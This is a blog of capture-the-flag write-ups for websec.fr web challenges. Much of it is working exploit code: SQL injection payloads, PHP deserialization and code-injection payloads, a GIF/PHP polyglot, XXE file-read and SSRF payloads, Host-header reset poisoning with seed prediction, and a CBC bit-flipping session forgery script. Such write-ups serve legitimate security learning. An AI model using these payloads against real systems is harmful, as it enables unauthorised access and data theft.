This blog is a collection of the writeup on challenges I solved on websec.fr. I recommend that you attempt the challenge before reading the writeup. I will keep adding writeups here as I solve new challenges. :slightly_smiling_face:

Level 01


It’s a simple SQL Injection. We first find out the query used to create the table.

-1 UNION SELECT 'xyz', GROUP_CONCAT(sql) FROM sqlite_master;--

Now to extract the password, we again use UNION & GROUP_CONCAT and we get the flag.

-1 UNION SELECT 'xyz', GROUP_CONCAT(password) FROM users;--

Level 02


It’s a similar level as the previous one, but now few keywords are getting replaced with the empty string. As preg_replace only does one pass while replacing. We can use something like SELSELECTECT which will result in inner SELECT getting replaced with an empty string and resulting in the final SELECT string.

New payload:

-1 UNIOUNIONN SELECSELECTT 'xyz', GROUGROUPP_CONCAT(password) FROFROMM users;--

Level 03


This level introduces a bug that occurs at PHP’s C implementation. In its implementation, it uses char* to store the input value because of this string past null character gets discarded. Something else to notice here is that it is using fa1se instead of false in these two mentioned lines because of which hash gets returned in raw format.

$h2 = password_hash (sha1($_POST['c'], fa1se), PASSWORD_BCRYPT);
if (password_verify (sha1($flag, fa1se), $h2) === true {

Now we have flag’s hash which is 7c00249d409a91ab84e3f421c193520d9fb3674b and it has null byte at second position. So, effectively this makes password_verify’s the first parameter to be byte 7c. Now, if we find and string whose sha1 starts with 7c00, then we can get the flag.

import hashlib

sha1 = lambda x:hashlib.sha1(str(x)).hexdigest()

i = 0
while True:
    if sha1(i).startswith("7c00"):
        print(i)
        break
    i += 1

We get 104610 and entering the same as input gives us the flag.

Level 04


The challenge is a simple case in which untrusted data is unserialized. The value of leet_hax0r cookie gets unserialized without any validation.

if (isset ($_COOKIE['leet_hax0r'])) {
    $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('CANT HACK US!!!');
        }
    } catch(Exception $e) {
        echo $e;
    }
}

Code to generate serialized object payload.

<?php

class SQL
{
    public $query;
    public $conn;

    function __construct()
    {
        $this->query = "SELECT GROUP_CONCAT(password) as username from users;";
        $this->conn = NULL;
    }
}

$inst = new SQL();

echo urlencode(base64_encode(serialize($inst)));

Setting the cookie value’s value to payload will give away the flag.

Level 05


The first thing that is very visible is preg_replace called with an e modifier. Words from the input are selected and passed to the correct function using a double quote ("). The parameter is generated from the first group of input matching with regex(Note: PHP escapes character ', ", \ & NULL in the strings that replace the backreferences). Here we can use $ in our input to access variables.

Input:

---- $blacklist ----

Output:

---- '"() ` ----

If we try to access the $flag, we get an undefined error. Probably it is defined in some other file. Trying to access flag.php(through broswer), we get 402 Payment Required. So, now we have to include flag.php and then access the $flag variable.

We can call any function using ${} syntax(like ${system('id')}) but as ( & ) are blocked. We can’t call any function. Although a language construct can be used without any parenthesis. So, using ${include_once 'flag.php'}, we can include flag.php file but ' is not allowed. Instead, we can use a variable for that. Payload to include flag.php becomes ${include_once $_GET[inc]}. Next, we access the flag using ${flag}. We still have to take care of space in the payload. This can be bypassed using any whitespace character(0x20, 0x0a, 0x0d, 0x09, 0x0b, 0x0c).

Final Payload(don’t forget to include inc=flag.php in URL)

${include_once	$_GET[inc]} ${flag}

This gives us the flag. :)

Level 07


This challenge was tricky. The blacklisted keywords were much more in number this time. Although it allowed us to run a UNION query, we can’t use the password keyword due to or in the spelling. To reference the password column, we can use it in UNION with any other table with known & allowed column names.

Example:

SELECT 1 as x, 2 as y, 3 as z UNION SELECT * from users

The above query will result in a table with columns x, y & z, and data from users table concatenated.

Payload Query(gives password for user_one):

999 union select id, pass from (select 999 as id, 999 as name, 999 as pass union select * from users)

This displayed user with password not_your_flag. I decided to look for other tables after deciding to give it one more try. This time trying to extract the password for user_two.

Payload Query(gives password for user_two):

999 union select id, pass from (select 999 as id, 999 as name, 999 as pass union select * from users) where id

Adding the condition ensures that the id is true for that row. SQLite’s older version doesn’t have true/false instead 1/0 are used. So, this will evaluate to false for user_one which has id=0. Luckily! user_two’s password is the flag.

Level 08


It’s an easy challenge. It relies on magic bytes and some header information to validate a GIF file. It then includes the GIF file, which can have PHP code.

<?php

$originalGIF = "/tmp/test.gif";
$tmpGIF = "/tmp/tmp.gif";
$payload = '<?php var_dump(file_get_contents("flag.txt")); ?>';

$data = file_get_contents($originalGIF);

for ($i = 1; $i < 10000; $i++) {
    $partialData = substr($data, 0, $i);
    file_put_contents($tmpGIF, $partialData);

    if (@getimagesize($tmpGIF) !== false) {
        if (@exif_imagetype($tmpGIF) === IMAGETYPE_GIF) {
            echo "Fully Valid at size: " . $i . "\n";

            file_put_contents($tmpGIF, $payload, FILE_APPEND);

            break;
        } else {
            echo "Partially Valid at size: " . $i . "\n";
        }
    } else {
        echo "Invalid at size: " . $i . "\n";
    }
}

Level 09


The application is performing two actions. First, a file whose name is sha1 of UNIX timestamp gets created with data from $_GET['c']. Next, few blacklisted keywords are getting replaced with empty keywords. Secondly, if cache_file is present in the query parameter, then the file pointed by cache_file’s content is un-quoted and evaluated.

stripcslashes un-quotes all C-like backslashes, which includes hexadecimal representations like \xAB. The first step doesn’t block hexadecimal representation. So, we will encode our payload in the hexadecimal format.

Payload:

var_dump(file_get_contents("flag.txt"));

Script to encode:

payload = 'var_dump(file_get_contents("flag.txt"));'
print('\\x'+'\\x'.join(_.encode('hex') for _ in payload))

Encode payload:

\x76\x61\x72\x5f\x64\x75\x6d\x70\x28\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x66\x6c\x61\x67\x2e\x74\x78\x74\x22\x29\x29\x3b

Now, we create a file with this payload by submitting this payload. It will create a file in /tmp directory and set filename as the cookie. This cookie expires soon, so get that name from headers. Next, we use this file as our payload and set cahce_file to /tmp/<name-from-cookie>.

Level 10


The only thing to notice in the code was that loose comparison. Every other code looks okay. You can read about loose comparison here.

Exploit Code:

import requests

prefix = "./"
while True:
    r = requests.post("http://websec.fr/level10/index.php", data={
        'hash': "0e12345",
        'f': prefix + 'flag.php'
    })

    if "WEBSEC{" in r.text:
        print(r.text)
        break

    prefix += "/"

This will eventually print out the flag:grimacing:. This happens when internal hash starts with 0e.

Level 11


This challenge is somewhat specific to SQL query structure. It’s focused on SQL syntax, where AS keyword is not needed to rename columns.

user_id: 999
table: (select 999 id, enemy username from costume)

Level 12


In this challenge, we can initialize an instance of any class(except those blocked) whose constructor can take two parameters. Then the language construct echo is called on the newly created instance, which leads to a call to a magic function __toString.

Script to find all classes with __toString function:

$classes = get_declared_classes();

foreach ($classes as $cls) {
    if (method_exists($cls, '__toString')) {
        echo "--> " . $cls . PHP_EOL;
    }
}

Out of all the classes, the most interesting one is SimpleXMLElement. You can read about it here. The second parameter allows us to control flags, which controls the parsing. Using the flag LIBXML_NOENT, we can include external entities. The integer value of LIBXML_NOENT is 2, and this becomes our second parameter. The first parameter will our XXE payload.

XXE payload to get index.php:

<!DOCTYPE root [
    <!ENTITY exfildata SYSTEM  "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
&exfildata;
</root>

The above exploit gives us base64 encoded content of index.php. Code of index.php:

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Twelve</title>

    <link href="/static/bootstrap.min.css" rel="stylesheet" />
    <link href="/static/websec.css" rel="stylesheet" />

    <link rel="icon" href="/static/favicon.png" type="image/png">
</head>
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>LevelTwelve <small> - This time, it's different.</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                        Since we trust you <em>very much</em>, you can instanciate a class of your choice, with two arbitrary parameters.</br>
                        Well, except the dangerous ones, like <code>splfileobject</code>, <code>globiterator</code>, <code>filesystemiterator</code>,
                        and <code>directoryiterator</code>.<br>
                         Lets see what you can do with this.
                                </p>
                </div>
            </div>
            <br>
            <div class="container">
                <div class="row">
                    <form name="username" method="post" class="form-inline">
                        <samp>
                        <div class="form-group">
                            <label for="class" class="sr-only">class</label>
                            echo <span class='text-success'>new</span>
                            <input type="text" class="form-control" id="class" name="class" placeholder="class" required>
                            (
                        </div>
                        <div class="form-group">
                            <label for="param1" class="sr-only">first parameter</label>
                            <input type="text" class="form-control" id="param1" name="param1" placeholder="first parameter" required>
                            ,
                        </div>
                        <div class="form-group">
                            <label for="param2" class="sr-only">second parameter</label>
                            <input type="text" class="form-control" id="param2" name="param2" placeholder="second parameter" required>
                            );
                        </div>
                        </samp>
                              <button type="submit" class="btn btn-default">launch!</button>
                    </form>
                </div>
                <?php
                ini_set('display_errors', 'on');
                ini_set('error_reporting', E_ALL);

                if (isset ($_POST['class']) && isset ($_POST['param1'])  && isset ($_POST['param2'])) {
                    $class = strtolower ($_POST['class']);

                    if (in_array ($class, ['splfileobject', 'globiterator', 'directoryiterator', 'filesystemiterator'])) {
                die ('Dangerous class detected.');
                    } else {
                $result = new $class ($_POST['param1'], $_POST['param2']);
                echo '<br><hr><br><div class="row"><pre>' . $result . '</pre></div>';
            }
                }
                ?>
            </div>
        </div>
    </body>
</html>

<?php
/*
Congratulation, you can read this file, but this is not the end of our journey.

- Thanks to cutz for the QA.
- Thanks to blotus for finding a (now fixed) weakness in the "encryption" function.
- Thanks to nurfed for nagging us about a cheat
*/

$text = 'Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==';
$key = ini_get ('user_agent');

if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
    if ($_SERVER['HTTP_USER_AGENT'] !== $key) {
        die ("Cheating is bad, m'kay?");
    }
    
    $i = 0;
    $flag = '';
    foreach (str_split (base64_decode ($text)) as $letter) {
        $flag .= chr (ord ($key[$i++]) ^ ord ($letter));
    }
    die ($flag);
}
?>

It is evident from reading the source code that we have to request the same endpoint from that server itself, primarily an SSRF.

Final XXE payload:

<!DOCTYPE root [
    <!ENTITY exfildata SYSTEM  "php://filter/convert.base64-encode/resource=http://127.0.0.1/level12/index.php">
]>
<root>
&exfildata;
</root>

This gives us the flag. :slightly_smiling_face:

Level 13


The bug in application lies in the loop. After every iteration of the loop, the condition gets evaluated, meaning the value of count($tmp) is also re-evaluated. Also, every element is accessed by its index. So, whenever unset gets called on any element, it decreases the count of elements in the array without modifying other element’s indexes. In our payload, if we insert 0 at any position other than the last one, then the last element won’t get checked.

Payload:

4,0,0,0,0,5 )) UNION SELECT user_password, 6, 7 FROM users;--

Level 14


In PHP, one can call a function by using a varibale whose value is name of the function.

$func_to_call = "passthru";
$func_to_call("id"); // Runs id command

In this challenge we can access functions in a similar way.

$blacklist{657}('ls');

We can understand from the output that passthru is blocked. It can be verified using echo $blacklist{562}(); which runs phpinfo.

After trying the challenge for few more days. I couldn’t shorten the payload. So I decided to read the writeup, and it is surprising how unique a solution can be. I have added an explanation for the same.

PHP allows taking the negation of a string. Also, one can use the negation of a string to reference a variable.

$key = "secret";

$var = "key";
$var_neg = ~$var;

$payload = "echo \${~'$var_neg'};";
echo $payload . PHP_EOL;
eval($payload);

echo PHP_EOL . "--------------" . PHP_EOL;

$payload = "echo \${~$var_neg};";
echo $payload . PHP_EOL;
eval($payload);

Exploit Code:

import requests
import re

code = "${~\xA0\xB8\xBA\xAB}{c}(${~\xA0\xB8\xBA\xAB}{p});"

caller_function = "assert"
parameter = "var_dump(file_get_contents('0e7efcd6e821f4bb90af4e4c439001944c1769da.php'))"

r = requests.post(
    "http://websec.fr/level14/index.php",
    params={
        'c': caller_function,
        'p': parameter
    },
    data={
        'code': code
    }
)

_search = re.search(r"WEBSEC{.+}", r.text)

if _search:
    print("Flag: {}".format(_search.group()))

Level 15


PHP’s create_function allows us to create lambda functions. On documentation page, one can see the caution block stating that this function internally uses eval and is therefore unsafe to use. The source code for the same can be found here. It creates a string like function __lambda_func (<fucntion-params>){<function-code>}. It then evaluates this string. So, we end the function ourselves and add extra code which gets evaluated.

Payload:

echo 123; }; echo $flag; echo phpinfo();//

Level 17


This one is an easy challenge. All the brute force protection is just red herring. When one of the parameters to strcasecmp is an array, it’s return value is NULL, whose logical not is true.

curl "https://websec.fr/level17/index.php" \
    --data 'flag[]=1'

Level 18


Here the provided object is unserialized and the input property of the object is compared with flag property. Before the comparison flag property’s value is set to the real flag.

To make input equal to flag, we can make input point to flag using reference.

$obj = new stdClass();
$obj->flag = "xyz";
$obj->input = &$obj->flag;

$cookie = serialize($obj);
echo "Serialize Object => " . $cookie . PHP_EOL;


$curl = curl_init('https://websec.fr/level18/index.php');
$cookie = urlencode($cookie);
curl_setopt($curl, CURLOPT_COOKIE, "obj=$cookie");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$page = curl_exec($curl);
curl_close($curl);

preg_match_all("(WEBSEC{.+})", $page, $matches);
echo "Flag: " . $matches[0][0] . PHP_EOL;

Level 19


Two things are happening in the application. We can tackle in one by one.

First, we deal with the captcha. If you read the code carefully, you can observe that the x coordinate for the character in the image will sometime exceed the image width. $i * rand (20, 40). So, we can never find the whole captcha. To get captcha’s value, we can exploit the way they are getting generated. Application uses srand(microtime(true)) to seed the random number generator(i.e. rand). As we already know the value of the time, therefore we know the seed used, and therefore we can predict the random number sequence. Now, microtime(true) returns a float value but as srand only expects a int value so float is typecasted to int. We can use the CSRF token to verify if we are getting the same series of random numbers.

Secondly, we need to view the reset email. The application blindly trusts $_SERVER['HTTP_HOST']’s value. This value is user-controllable(using Host header) unless the server is running using a virtual host, in which case Host value is used to decide upon which directory/resources to serve. In the case of websec.fr, the application is getting served as a default/fallback host. Now, as we control at which host email gets delivered. We can use any online service to get a temporary email with a level19 username. I prefer to use https://www.guerrillamail.com

The flag got returned in response body instead of the email. So, no need to go through the hassle of creating a new inbox. :grin:

Script(Note: It requires php5, the same major version as the server)

function generate_random_text($length)
{
    $chars  = "abcdefghijklmnopqrstuvwxyz";
    $chars .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $chars .= "1234567890";

    $text = '';
    for ($i = 0; $i < $length; $i++) {
        $text .= $chars[rand() % strlen($chars)];
    }
    return $text;
}

$HOST = "grr.la";

$COOKIE_JAR = tempnam('/tmp', 'level19-cookie-jar');
echo "Saving cookies to " . $COOKIE_JAR . PHP_EOL;

$ch = curl_init('http://websec.fr/level19/index.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $COOKIE_JAR);
curl_setopt($ch, CURLOPT_COOKIEFILE, $COOKIE_JAR);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: $HOST"));
// curl_setopt($ch, CURLOPT_VERBOSE, 1);

$page = curl_exec($ch);
curl_close($ch);

preg_match_all('/^date: (.+)$/im', $page, $matches);

$time = trim($matches[1][0]);
echo 'Date: ' . $time . PHP_EOL;
$time = strtotime($time);
echo 'UNIX Timestamp: ' . $time . PHP_EOL;

srand($time);
$csrf_token = generate_random_text(32);
echo  'CSRF Token: ' . $csrf_token . PHP_EOL;

if (strpos($page, $csrf_token) !== FALSE) {
    $captcha = generate_random_text(255 / 10.0);
    echo "Predicted CSRF matches!" . PHP_EOL;
} else {
    die('Can\'t fing CSRF token in response. Try again!');
}

echo "Captcha: " . $captcha . PHP_EOL;

$ch = curl_init('http://websec.fr/level19/index.php');
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_COOKIEJAR, $COOKIE_JAR);
curl_setopt($ch, CURLOPT_COOKIEFILE, $COOKIE_JAR);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "captcha=$captcha&token=$csrf_token");
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: $HOST"));
// curl_setopt($ch, CURLOPT_VERBOSE, 1);
$page = curl_exec($ch);
curl_close($ch);

echo $page . PHP_EOL;

Level 20


The challenge performs some checks before deserializing an object. First, there should be no uppercase letter. Second, there should be no serialized object. At least one check shall pass for successful deserialization. This blog provides an excellent explanation of PHP’s serialization & deserialization functions. It mentions that we can use C instead of O if the class implements the Serializable class. Anyhow, we can still use it with unserialize.

Payload plaintext: C:4:"Flag":0:{}

Payload base64: Qzo0OiJGbGFnIjowOnt9

curl 'https://websec.fr/level20/index.php' \
    -H 'Cookie: data=Qzo0OiJGbGFnIjowOnt9'

Level 21


The challenge is based on an oracle padding attack. I recommend you read about it here if unfamiliar with the vulnerability. The application logic looks mostly secure except the way it stores session and uses the value from session to build SQL query without validating the values. This is the part where we use an oracle padding attack to manipulate the values stored in the session.

Script:

import requests
import hashlib
import re

URL = "http://websec.fr/level21/index.php"
BLOCK_SIZE = 16
SESSION = None
USERNAME = "1"*6 + "2"*15
PASSWORD = "xyz"
PASSWORD_HASH = hashlib.md5(PASSWORD).hexdigest()
SQL_PAYLOAD = "' OR 1;#"


def getNewIV(curr_iv, curr_plaintext, exp_plaintext):
    """
    Find new IV for block given old & new plaintext along with current IV
    """
    curr_iv = list(curr_iv)
    curr_plaintext = list(curr_plaintext)
    exp_plaintext = list(exp_plaintext)
    new_iv = list(curr_iv)

    assert(len(curr_iv) == BLOCK_SIZE)
    assert(len(curr_plaintext) == BLOCK_SIZE)
    assert(len(exp_plaintext) == BLOCK_SIZE)

    for i in range(BLOCK_SIZE):
        new_iv[i] = ord(curr_plaintext[i])
        new_iv[i] ^= ord(exp_plaintext[i])
        new_iv[i] ^= ord(curr_iv[i])
        new_iv[i] = chr(new_iv[i])

    return ''.join(new_iv)


def getBlocks(data, size):
    """ Split data into blocks of given size """
    assert(len(data) % size == 0)
    return [data[i:i+size] for i in range(0, len(data), size)]


def getSession():
    r = requests.post(URL, data={
        "register": "1",
        "username": USERNAME,
        "password": PASSWORD
    })

    if "The user was created successfully." in r.text:
        pass
    elif "Your nick is likely already present in the database." in r.text:
        print("[-] User creation failed")
        exit(1)
    else:
        print("[-] User creation failed. Skipping to login")
        pass

    r = requests.post(URL, data={
        "login": "1",
        "username": USERNAME,
        "password": PASSWORD
    })

    return r.cookies.get("session")


def attemptAdminLogin(session):
    print("[+] Attempting admin login with session")

    r = requests.get(URL, cookies={
        'session': session
    })

    if r.status_code == 500:
        print("[-] Request Failed.")
        exit(1)
    else:
        _regex = r"WEBSEC{.*}"
        if re.search(_regex, r.text):
            FLAG = re.search(_regex, r.text).group()
            print("[+] Flag Found.")
            print("[*] => {}".format(FLAG))
        else:
            print("[+] Flag not found")


def main():
    global SESSION
    if SESSION is None:
        SESSION = getSession()

    if SESSION is None:
        print("[-] Session generation failed")
        exit(1)

    SESSION = SESSION.decode('hex')
    print("[+] Current Session fetched.")
    print("[*] => {}".format(SESSION.encode('hex')))

    BLOCKS = getBlocks(SESSION, BLOCK_SIZE)

    current_plaintext = "user/pass:"
    current_plaintext += USERNAME
    current_plaintext += "/"
    current_plaintext += PASSWORD_HASH
    current_plaintext_blocks = getBlocks(current_plaintext, BLOCK_SIZE)
    print("[+] Current Plaintext")
    print("[*] => {}".format(current_plaintext))

    expected_plaintext = "user/pass:" + "admin/"
    assert(len(expected_plaintext) == BLOCK_SIZE)
    expected_plaintext += "~"*16  # Don't care for this region
    assert(len(expected_plaintext) == 2 * BLOCK_SIZE)
    expected_plaintext += SQL_PAYLOAD + PASSWORD_HASH[len(SQL_PAYLOAD):]
    assert(len(expected_plaintext) == 4 * BLOCK_SIZE)
    expected_plaintext_blocks = getBlocks(expected_plaintext, BLOCK_SIZE)
    print("[+] Expected Plaintext")
    print("[*] => {}".format(expected_plaintext))

    NEW_BLOCKS = list(BLOCKS)
    NEW_BLOCKS[0] = getNewIV(
        BLOCKS[0],
        current_plaintext_blocks[0],
        expected_plaintext_blocks[0]
    )

    NEW_BLOCKS[2] = getNewIV(
        BLOCKS[2],
        current_plaintext_blocks[2],
        expected_plaintext_blocks[2]
    )

    NEW_SESSION = ''.join(NEW_BLOCKS)
    print("[+] Admin Session generated.")
    print("[*] => {}".format(NEW_SESSION.encode('hex')))

    attemptAdminLogin(NEW_SESSION.encode('hex'))


if __name__ == "__main__":
    main()